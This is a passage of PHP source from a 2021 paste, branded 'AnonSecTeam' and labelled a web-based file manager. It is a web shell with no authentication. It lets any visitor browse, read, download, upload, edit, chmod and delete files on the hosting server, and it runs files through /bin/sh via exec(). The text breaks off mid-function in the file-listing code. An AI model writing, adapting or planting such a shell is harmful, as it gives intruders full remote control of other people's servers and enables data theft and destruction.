· 4 years ago · Jul 24, 2021, 10:14 PM
1<?php
2/*
3 * Web-based file manager
4 * Copyright (C) 2021 AnonSecTeam <>
5$lang = 'auto';
6
7/* Charset of output:
8 * possible values are described in the charset table at
9 * http://www.php.net/manual/en/function.htmlentities.php
10 * 'auto' - use the same charset as the words of my language are encoded
11 */
12$site_charset = 'auto';
13
14/* Homedir:
15 * For example: './' - the script's directory
16 */
17$homedir = './';
18
19/* Size of the edit textarea
20 */
21$editcols = 80;
22$editrows = 25;
23
24/* -------------------------------------------
25 * Optional configuration (remove # to enable)
26 */
27
28/* Permission of created directories:
29 * For example: 0705 would be 'drwx---r-x'.
30 */
31# $dirpermission = 0705;
32
33/* Permission of created files:
34 * For example: 0604 would be '-rw----r--'.
35 */
36# $filepermission = 0604;
37
38/* Filenames related to the apache web server:
39 */
40$htaccess = '.htaccess';
41$htpasswd = '.htpasswd';
42
43/* ------------------------------------------------------------------------- */
44
45if (get_magic_quotes_gpc()) {
46 array_walk($_GET, 'strip');
47 array_walk($_POST, 'strip');
48 array_walk($_REQUEST, 'strip');
49}
50
51if (array_key_exists('image', $_GET)) {
52 header('Content-Type: image/gif');
53 die(getimage($_GET['image']));
54}
55
56if (!function_exists('lstat')) {
57 function lstat ($filename) {
58 return stat($filename);
59 }
60}
61
62$delim = DIRECTORY_SEPARATOR;
63
64if (function_exists('php_uname')) {
65 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
66} else {
67 $win = ($delim == '\\') ? true : false;
68}
69
70if (!empty($_SERVER['PATH_TRANSLATED'])) {
71 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
72} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
73 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
74} elseif (function_exists('getcwd')) {
75 $scriptdir = getcwd();
76} else {
77 $scriptdir = '.';
78}
79$homedir = relative2absolute($homedir, $scriptdir);
80
81$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
82
83if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
84 $dir = relative2absolute($dir, $_POST['olddir']);
85}
86
87$directory = simplify_path(addslash($dir));
88
89$files = array();
90$action = '';
91if (!empty($_POST['submit_all'])) {
92 $action = $_POST['action_all'];
93 for ($i = 0; $i < $_POST['num']; $i++) {
94 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
95 $files[] = $_POST["file$i"];
96 }
97 }
98} elseif (!empty($_REQUEST['action'])) {
99 $action = $_REQUEST['action'];
100 $files[] = relative2absolute($_REQUEST['file'], $directory);
101} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
102 $files[] = $_FILES['upload'];
103 $action = 'upload';
104} elseif (array_key_exists('num', $_POST)) {
105 for ($i = 0; $i < $_POST['num']; $i++) {
106 if (array_key_exists("submit$i", $_POST)) break;
107 }
108 if ($i < $_POST['num']) {
109 $action = $_POST["action$i"];
110 $files[] = $_POST["file$i"];
111 }
112}
113if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
114 $files[] = relative2absolute($_POST['create_name'], $directory);
115 switch ($_POST['create_type']) {
116 case 'directory':
117 $action = 'create_directory';
118 break;
119 case 'file':
120 $action = 'create_file';
121 }
122}
123if (sizeof($files) == 0) $action = ''; else $file = reset($files);
124
125if ($lang == 'auto') {
126 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
127 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
128 } else {
129 $lang = 'en';
130 }
131}
132
133$words = getwords($lang);
134
135if ($site_charset == 'auto') {
136 $site_charset = $word_charset;
137}
138
139$cols = ($win) ? 4 : 7;
140
141if (!isset($dirpermission)) {
142 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
143}
144if (!isset($filepermission)) {
145 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
146}
147
148if (!empty($_SERVER['SCRIPT_NAME'])) {
149 $self = html(basename($_SERVER['SCRIPT_NAME']));
150} elseif (!empty($_SERVER['PHP_SELF'])) {
151 $self = html(basename($_SERVER['PHP_SELF']));
152} else {
153 $self = '';
154}
155
156if (!empty($_SERVER['SERVER_SOFTWARE'])) {
157 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
158 $apache = true;
159 } else {
160 $apache = false;
161 }
162} else {
163 $apache = true;
164}
165
166switch ($action) {
167
168case 'view':
169
170 if (is_script($file)) {
171
172 /* highlight_file is a mess! */
173 ob_start();
174 highlight_file($file);
175 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
176 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
177 ob_end_clean();
178
179 html_header();
180 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
181
182<hr />
183
184<table>
185<tr>
186<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
187<pre style="margin-top: 0"><code>';
188
189 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
190
191 echo '</code></pre>
192</td>
193<td style="text-align: left; vertical-align: top; padding-left: 3pt">
194<pre style="margin-top: 0">' . $src . '</pre>
195</td>
196</tr>
197</table>
198
199';
200
201 html_footer();
202
203 } else {
204
205 header('Content-Type: ' . getmimetype($file));
206 header('Content-Disposition: filename=' . basename($file));
207
208 readfile($file);
209
210 }
211
212 break;
213
214case 'download':
215
216 header('Pragma: public');
217 header('Expires: 0');
218 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
219 header('Content-Type: ' . getmimetype($file));
220 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
221 header('Content-Length: ' . filesize($file));
222
223 readfile($file);
224
225 break;
226
227case 'upload':
228
229 $dest = relative2absolute($file['name'], $directory);
230
231 if (@file_exists($dest)) {
232 listing_page(error('already_exists', $dest));
233 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
234 @chmod($dest, $filepermission);
235 listing_page(notice('uploaded', $file['name']));
236 } else {
237 listing_page(error('not_uploaded', $file['name']));
238 }
239
240 break;
241
242case 'create_directory':
243
244 if (@file_exists($file)) {
245 listing_page(error('already_exists', $file));
246 } else {
247 $old = @umask(0777 & ~$dirpermission);
248 if (@mkdir($file, $dirpermission)) {
249 listing_page(notice('created', $file));
250 } else {
251 listing_page(error('not_created', $file));
252 }
253 @umask($old);
254 }
255
256 break;
257
258case 'create_file':
259
260 if (@file_exists($file)) {
261 listing_page(error('already_exists', $file));
262 } else {
263 $old = @umask(0777 & ~$filepermission);
264 if (@touch($file)) {
265 edit($file);
266 } else {
267 listing_page(error('not_created', $file));
268 }
269 @umask($old);
270 }
271
272 break;
273
274case 'execute':
275
276 chdir(dirname($file));
277
278 $output = array();
279 $retval = 0;
280 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
281
282 $error = ($retval == 0) ? false : true;
283
284 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
285
286 if ($error) {
287 listing_page(error('not_executed', $file, implode("\n", $output)));
288 } else {
289 listing_page(notice('executed', $file, implode("\n", $output)));
290 }
291
292 break;
293
294case 'delete':
295
296 if (!empty($_POST['no'])) {
297 listing_page();
298 } elseif (!empty($_POST['yes'])) {
299
300 $failure = array();
301 $success = array();
302
303 foreach ($files as $file) {
304 if (del($file)) {
305 $success[] = $file;
306 } else {
307 $failure[] = $file;
308 }
309 }
310
311 $message = '';
312 if (sizeof($failure) > 0) {
313 $message = error('not_deleted', implode("\n", $failure));
314 }
315 if (sizeof($success) > 0) {
316 $message .= notice('deleted', implode("\n", $success));
317 }
318
319 listing_page($message);
320
321 } else {
322
323 html_header();
324
325 echo '<form action="' . $self . '" method="post">
326<table class="dialog">
327<tr>
328<td class="dialog">
329';
330
331 request_dump();
332
333 echo "\t<b>" . word('really_delete') . '</b>
334 <p>
335';
336
337 foreach ($files as $file) {
338 echo "\t" . html($file) . "<br />\n";
339 }
340
341 echo ' </p>
342 <hr />
343 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
344 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
345</td>
346</tr>
347</table>
348</form>
349
350';
351
352 html_footer();
353
354 }
355
356 break;
357
358case 'rename':
359
360 if (!empty($_POST['destination'])) {
361
362 $dest = relative2absolute($_POST['destination'], $directory);
363
364 if (!@file_exists($dest) && @rename($file, $dest)) {
365 listing_page(notice('renamed', $file, $dest));
366 } else {
367 listing_page(error('not_renamed', $file, $dest));
368 }
369
370 } else {
371
372 $name = basename($file);
373
374 html_header();
375
376 echo '<form action="' . $self . '" method="post">
377
378<table class="dialog">
379<tr>
380<td class="dialog">
381 <input type="hidden" name="action" value="rename" />
382 <input type="hidden" name="file" value="' . html($file) . '" />
383 <input type="hidden" name="dir" value="' . html($directory) . '" />
384 <b>' . word('rename_file') . '</b>
385 <p>' . html($file) . '</p>
386 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
387 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
388 <hr />
389 <input type="submit" value="' . word('rename') . '" />
390</td>
391</tr>
392</table>
393
394<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
395
396</form>
397
398';
399
400 html_footer();
401
402 }
403
404 break;
405
406case 'move':
407
408 if (!empty($_POST['destination'])) {
409
410 $dest = relative2absolute($_POST['destination'], $directory);
411
412 $failure = array();
413 $success = array();
414
415 foreach ($files as $file) {
416 $filename = substr($file, strlen($directory));
417 $d = $dest . $filename;
418 if (!@file_exists($d) && @rename($file, $d)) {
419 $success[] = $file;
420 } else {
421 $failure[] = $file;
422 }
423 }
424
425 $message = '';
426 if (sizeof($failure) > 0) {
427 $message = error('not_moved', implode("\n", $failure), $dest);
428 }
429 if (sizeof($success) > 0) {
430 $message .= notice('moved', implode("\n", $success), $dest);
431 }
432
433 listing_page($message);
434
435 } else {
436
437 html_header();
438
439 echo '<form action="' . $self . '" method="post">
440
441<table class="dialog">
442<tr>
443<td class="dialog">
444';
445
446 request_dump();
447
448 echo "\t<b>" . word('move_files') . '</b>
449 <p>
450';
451
452 foreach ($files as $file) {
453 echo "\t" . html($file) . "<br />\n";
454 }
455
456 echo ' </p>
457 <hr />
458 ' . word('destination') . ':
459 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
460 <input type="submit" value="' . word('move') . '" />
461</td>
462</tr>
463</table>
464
465<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
466
467</form>
468
469';
470
471 html_footer();
472
473 }
474
475 break;
476
477case 'copy':
478
479 if (!empty($_POST['destination'])) {
480
481 $dest = relative2absolute($_POST['destination'], $directory);
482
483 if (@is_dir($dest)) {
484
485 $failure = array();
486 $success = array();
487
488 foreach ($files as $file) {
489 $filename = substr($file, strlen($directory));
490 $d = addslash($dest) . $filename;
491 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
492 $success[] = $file;
493 } else {
494 $failure[] = $file;
495 }
496 }
497
498 $message = '';
499 if (sizeof($failure) > 0) {
500 $message = error('not_copied', implode("\n", $failure), $dest);
501 }
502 if (sizeof($success) > 0) {
503 $message .= notice('copied', implode("\n", $success), $dest);
504 }
505
506 listing_page($message);
507
508 } else {
509
510 if (!@file_exists($dest) && @copy($file, $dest)) {
511 listing_page(notice('copied', $file, $dest));
512 } else {
513 listing_page(error('not_copied', $file, $dest));
514 }
515
516 }
517
518 } else {
519
520 html_header();
521
522 echo '<form action="' . $self . '" method="post">
523
524<table class="dialog">
525<tr>
526<td class="dialog">
527';
528
529 request_dump();
530
531 echo "\n<b>" . word('copy_files') . '</b>
532 <p>
533';
534
535 foreach ($files as $file) {
536 echo "\t" . html($file) . "<br />\n";
537 }
538
539 echo ' </p>
540 <hr />
541 ' . word('destination') . ':
542 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
543 <input type="submit" value="' . word('copy') . '" />
544</td>
545</tr>
546</table>
547
548<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
549
550</form>
551
552';
553
554 html_footer();
555
556 }
557
558 break;
559
560case 'create_symlink':
561
562 if (!empty($_POST['destination'])) {
563
564 $dest = relative2absolute($_POST['destination'], $directory);
565
566 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
567
568 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
569
570 if (!@file_exists($dest) && @symlink($file, $dest)) {
571 listing_page(notice('symlinked', $file, $dest));
572 } else {
573 listing_page(error('not_symlinked', $file, $dest));
574 }
575
576 } else {
577
578 html_header();
579
580 echo '<form action="' . $self . '" method="post">
581
582<table class="dialog" id="symlink">
583<tr>
584 <td style="vertical-align: top">' . word('destination') . ': </td>
585 <td>
586 <b>' . html($file) . '</b><br />
587 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
588 <label for="checkbox_relative">' . word('relative') . '</label>
589 <input type="hidden" name="action" value="create_symlink" />
590 <input type="hidden" name="file" value="' . html($file) . '" />
591 <input type="hidden" name="dir" value="' . html($directory) . '" />
592 </td>
593</tr>
594<tr>
595 <td>' . word('symlink') . ': </td>
596 <td>
597 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
598 <input type="submit" value="' . word('create_symlink') . '" />
599 </td>
600</tr>
601</table>
602
603<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
604
605</form>
606
607';
608
609 html_footer();
610
611 }
612
613 break;
614
615case 'edit':
616
617 if (!empty($_POST['save'])) {
618
619 $content = str_replace("\r\n", "\n", $_POST['content']);
620
621 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
622 listing_page(notice('saved', $file));
623 } else {
624 listing_page(error('not_saved', $file));
625 }
626
627 } else {
628
629 if (@is_readable($file) && @is_writable($file)) {
630 edit($file);
631 } else {
632 listing_page(error('not_edited', $file));
633 }
634
635 }
636
637 break;
638
639case 'permission':
640
641 if (!empty($_POST['set'])) {
642
643 $mode = 0;
644 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
645 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
646 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
647
648 if (@chmod($file, $mode)) {
649 listing_page(notice('permission_set', $file, decoct($mode)));
650 } else {
651 listing_page(error('permission_not_set', $file, decoct($mode)));
652 }
653
654 } else {
655
656 html_header();
657
658 $mode = fileperms($file);
659
660 echo '<form action="' . $self . '" method="post">
661
662<table class="dialog">
663<tr>
664<td class="dialog">
665
666 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
667
668 <hr />
669
670 <table id="permission">
671 <tr>
672 <td></td>
673 <td style="border-right: 1px solid black">' . word('owner') . '</td>
674 <td style="border-right: 1px solid black">' . word('group') . '</td>
675 <td>' . word('other') . '</td>
676 </tr>
677 <tr>
678 <td style="text-align: right">' . word('read') . ':</td>
679 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
680 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
681 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
682 </tr>
683 <tr>
684 <td style="text-align: right">' . word('write') . ':</td>
685 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
686 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
687 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
688 </tr>
689 <tr>
690 <td style="text-align: right">' . word('execute') . ':</td>
691 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
692 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
693 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
694 </tr>
695 </table>
696
697 <hr />
698
699 <input type="submit" name="set" value="' . word('set') . '" />
700
701 <input type="hidden" name="action" value="permission" />
702 <input type="hidden" name="file" value="' . html($file) . '" />
703 <input type="hidden" name="dir" value="' . html($directory) . '" />
704
705</td>
706</tr>
707</table>
708
709<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
710
711</form>
712
713';
714
715 html_footer();
716
717 }
718
719 break;
720
721default:
722
723 listing_page();
724
725}
726
727/* ------------------------------------------------------------------------- */
728
729function getlist ($directory) {
730 global $delim, $win;
731
732 if ($d = @opendir($directory)) {
733
734 while (($filename = @readdir($d)) !== false) {
735
736 $path = $directory . $filename;
737
738 if ($stat = @lstat($path)) {
739
740 $file = array(
741 'filename' => $filename,
742 'path' => $path,
743 'is_file' => @is_file($path),
744 'is_dir' => @is_dir($path),
745 'is_link' => @is_link($path),
746 'is_readable' => @is_readable($path),
747 'is_writable' => @is_writable($path),
748 'size' => $stat['size'],
749 'permission' => $stat['mode'],
750 'owner' => $stat['uid'],
751 'group' => $stat['gid'],
752 'mtime' => @filemtime($path),
753 'atime' => @fileatime($path),
754 'ctime' => @filectime($path)
755 );
756
757 if ($file['is_dir']) {
758 $file['is_executable'] = @file_exists($path . $delim . '.');
759 } else {
760 if (!$win) {
761 $file['is_executable'] = @is_executable($path);
762 } else {
763 $file['is_executable'] = true;
764 }
765 }
766
767 if ($file['is_link']) $file['target'] = @readlink($path);
768
769 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
770 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
771
772 $files[] = $file;
773
774 }
775
776 }
777
778 return $files;
779
780 } else {
781 return false;
782 }
783
784}
785
786function sortlist (&$list, $key, $reverse) {
787
788 quicksort($list, 0, sizeof($list) - 1, $key);
789
790 if ($reverse) $list = array_reverse($list);
791
792}
793
794function quicksort (&$array, $first, $last, $key) {
795
796 if ($first < $last) {
797
798 $cmp = $array[floor(($first + $last) / 2)][$key];
799
800 $l = $first;
801 $r = $last;
802
803 while ($l <= $r) {
804
805 while ($array[$l][$key] < $cmp) $l++;
806 while ($array[$r][$key] > $cmp) $r--;
807
808 if ($l <= $r) {
809
810 $tmp = $array[$l];
811 $array[$l] = $array[$r];
812 $array[$r] = $tmp;
813
814 $l++;
815 $r--;
816
817 }
818
819 }
820
821 quicksort($array, $first, $r, $key);
822 quicksort($array, $l, $last, $key);
823
824 }
825
826}
827
828function permission_octal2string ($mode) {
829
830 if (($mode & 0xC000) === 0xC000) {
831 $type = 's';
832 } elseif (($mode & 0xA000) === 0xA000) {
833 $type = 'l';
834 } elseif (($mode & 0x8000) === 0x8000) {
835 $type = '-';
836 } elseif (($mode & 0x6000) === 0x6000) {
837 $type = 'b';
838 } elseif (($mode & 0x4000) === 0x4000) {
839 $type = 'd';
840 } elseif (($mode & 0x2000) === 0x2000) {
841 $type = 'c';
842 } elseif (($mode & 0x1000) === 0x1000) {
843 $type = 'p';
844 } else {
845 $type = '?';
846 }
847
848 $owner = ($mode & 00400) ? 'r' : '-';
849 $owner .= ($mode & 00200) ? 'w' : '-';
850 if ($mode & 0x800) {
851 $owner .= ($mode & 00100) ? 's' : 'S';
852 } else {
853 $owner .= ($mode & 00100) ? 'x' : '-';
854 }
855
856 $group = ($mode & 00040) ? 'r' : '-';
857 $group .= ($mode & 00020) ? 'w' : '-';
858 if ($mode & 0x400) {
859 $group .= ($mode & 00010) ? 's' : 'S';
860 } else {
861 $group .= ($mode & 00010) ? 'x' : '-';
862 }
863
864 $other = ($mode & 00004) ? 'r' : '-';
865 $other .= ($mode & 00002) ? 'w' : '-';
866 if ($mode & 0x200) {
867 $other .= ($mode & 00001) ? 't' : 'T';
868 } else {
869 $other .= ($mode & 00001) ? 'x' : '-';
870 }
871
872 return $type . $owner . $group . $other;
873
874}
875
876function is_script ($filename) {
877 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
878}
879
880function getmimetype ($filename) {
881 static $mimes = array(
882 '\.jpg$|\.jpeg$' => 'image/jpeg',
883 '\.gif$' => 'image/gif',
884 '\.png$' => 'image/png',
885 '\.html$|\.html$' => 'text/html',
886 '\.txt$|\.asc$' => 'text/plain',
887 '\.xml$|\.xsl$' => 'application/xml',
888 '\.pdf$' => 'application/pdf'
889 );
890
891 foreach ($mimes as $regex => $mime) {
892 if (eregi($regex, $filename)) return $mime;
893 }
894
895 // return 'application/octet-stream';
896 return 'text/plain';
897
898}
899
900function del ($file) {
901 global $delim;
902
903 if (!@is_link($file) && !file_exists($file)) return false;
904
905 if (!@is_link($file) && @is_dir($file)) {
906
907 if ($dir = @opendir($file)) {
908
909 $error = false;
910
911 while (($f = readdir($dir)) !== false) {
912 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
913 $error = true;
914 }
915 }
916 closedir($dir);
917
918 if (!$error) return @rmdir($file);
919
920 return !$error;
921
922 } else {
923 return false;
924 }
925
926 } else {
927 return @unlink($file);
928 }
929
930}
931
932function addslash ($directory) {
933 global $delim;
934
935 if (substr($directory, -1, 1) != $delim) {
936 return $directory . $delim;
937 } else {
938 return $directory;
939 }
940
941}
942
943function relative2absolute ($string, $directory) {
944
945 if (path_is_relative($string)) {
946 return simplify_path(addslash($directory) . $string);
947 } else {
948 return simplify_path($string);
949 }
950
951}
952
953function path_is_relative ($path) {
954 global $win;
955
956 if ($win) {
957 return (substr($path, 1, 1) != ':');
958 } else {
959 return (substr($path, 0, 1) != '/');
960 }
961
962}
963
964function absolute2relative ($directory, $target) {
965 global $delim;
966
967 $path = '';
968 while ($directory != $target) {
969 if ($directory == substr($target, 0, strlen($directory))) {
970 $path .= substr($target, strlen($directory));
971 break;
972 } else {
973 $path .= '..' . $delim;
974 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
975 }
976 }
977 if ($path == '') $path = '.';
978
979 return $path;
980
981}
982
983function simplify_path ($path) {
984 global $delim;
985
986 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
987 $path = realpath($path);
988 if (@is_dir($path)) {
989 return addslash($path);
990 } else {
991 return $path;
992 }
993 }
994
995 $pattern = $delim . '.' . $delim;
996
997 if (@is_dir($path)) {
998 $path = addslash($path);
999 }
1000
1001 while (strpos($path, $pattern) !== false) {
1002 $path = str_replace($pattern, $delim, $path);
1003 }
1004
1005 $e = addslashes($delim);
1006 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1007
1008 while (ereg($regex, $path)) {
1009 $path = ereg_replace($regex, $delim, $path);
1010 }
1011
1012 return $path;
1013
1014}
1015
1016function human_filesize ($filesize) {
1017
1018 $suffices = 'kMGTPE';
1019
1020 $n = 0;
1021 while ($filesize >= 1000) {
1022 $filesize /= 1024;
1023 $n++;
1024 }
1025
1026 $filesize = round($filesize, 3 - strpos($filesize, '.'));
1027
1028 if (strpos($filesize, '.') !== false) {
1029 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1030 $filesize = substr($filesize, 0, strlen($filesize) - 1);
1031 }
1032 }
1033
1034 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1035
1036 return $filesize . " {$suffix}B";
1037
1038}
1039
1040function strip (&$str) {
1041 $str = stripslashes($str);
1042}
1043
1044/* ------------------------------------------------------------------------- */
1045
1046function listing_page ($message = null) {
1047 global $self, $directory, $sort, $reverse;
1048
1049 html_header();
1050
1051 $list = getlist($directory);
1052
1053 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1054 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1055
1056 sortlist($list, $sort, $reverse);
1057
1058 echo '<h1 style="margin-bottom: 0">.:: AnonSecTeam ::.</h1>
1059
1060<form enctype="multipart/form-data" action="' . $self . '" method="post">
1061
1062<table id="main">
1063';
1064
1065 directory_choice();
1066
1067 if (!empty($message)) {
1068 spacer();
1069 echo $message;
1070 }
1071
1072 if (@is_writable($directory)) {
1073 upload_box();
1074 create_box();
1075 } else {
1076 spacer();
1077 }
1078
1079 if ($list) {
1080 listing($list);
1081 } else {
1082 echo error('not_readable', $directory);
1083 }
1084
1085 echo '</table>
1086
1087</form>
1088
1089';
1090
1091 html_footer();
1092
1093}
1094
1095function listing ($list) {
1096 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1097
1098 echo '<tr class="listing">
1099 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1100';
1101
1102 $d = 'dir=' . urlencode($directory) . '&';
1103
1104 if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
1105 echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
1106
1107 if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
1108 echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
1109
1110 if (!$win) {
1111
1112 if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
1113 echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
1114
1115 if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
1116 echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
1117
1118 if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
1119 echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
1120
1121 }
1122
1123 echo ' <th class="functions">' . word('functions') . '</th>
1124</tr>
1125';
1126
1127 for ($i = 0; $i < sizeof($list); $i++) {
1128 $file = $list[$i];
1129
1130 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
1131 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1132 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1133
1134 echo '<tr class="listing">
1135 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
1136 <td class="filename" title="' . html($timestamps) . '">';
1137
1138 if ($file['is_link']) {
1139
1140 echo '<img src="' . $self . '?image=link" alt="link" /> ';
1141 echo html($file['filename']) . ' → ';
1142
1143 $real_file = relative2absolute($file['target'], $directory);
1144
1145 if (@is_readable($real_file)) {
1146 if (@is_dir($real_file)) {
1147 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1148 } else {
1149 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1150 }
1151 } else {
1152 echo html($file['target']);
1153 }
1154
1155 } elseif ($file['is_dir']) {
1156
1157 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1158 if ($win || $file['is_executable']) {
1159 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1160 } else {
1161 echo html($file['filename']);
1162 }
1163 echo ' ]';
1164
1165 } else {
1166
1167 if (substr($file['filename'], 0, 1) == '.') {
1168 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1169 } else {
1170 echo '<img src="' . $self . '?image=file" alt="file" /> ';
1171 }
1172
1173 if ($file['is_file'] && $file['is_readable']) {
1174 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1175 } else {
1176 echo html($file['filename']);
1177 }
1178
1179 }
1180
1181 if ($file['size'] >= 1000) {
1182 $human = ' title="' . human_filesize($file['size']) . '"';
1183 } else {
1184 $human = '';
1185 }
1186
1187 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
1188
1189 if (!$win) {
1190
1191 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1192
1193 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1194 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
1195 echo html(permission_octal2string($file['permission']));
1196 if ($l) echo '</a>';
1197
1198 echo "</td>\n";
1199
1200 if (array_key_exists('owner_name', $file)) {
1201 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
1202 } else {
1203 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
1204 }
1205
1206 if (array_key_exists('group_name', $file)) {
1207 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1208 } else {
1209 echo "\t<td class=\"group\">{$file['group']}</td>\n";
1210 }
1211
1212 }
1213
1214 echo ' <td class="functions">
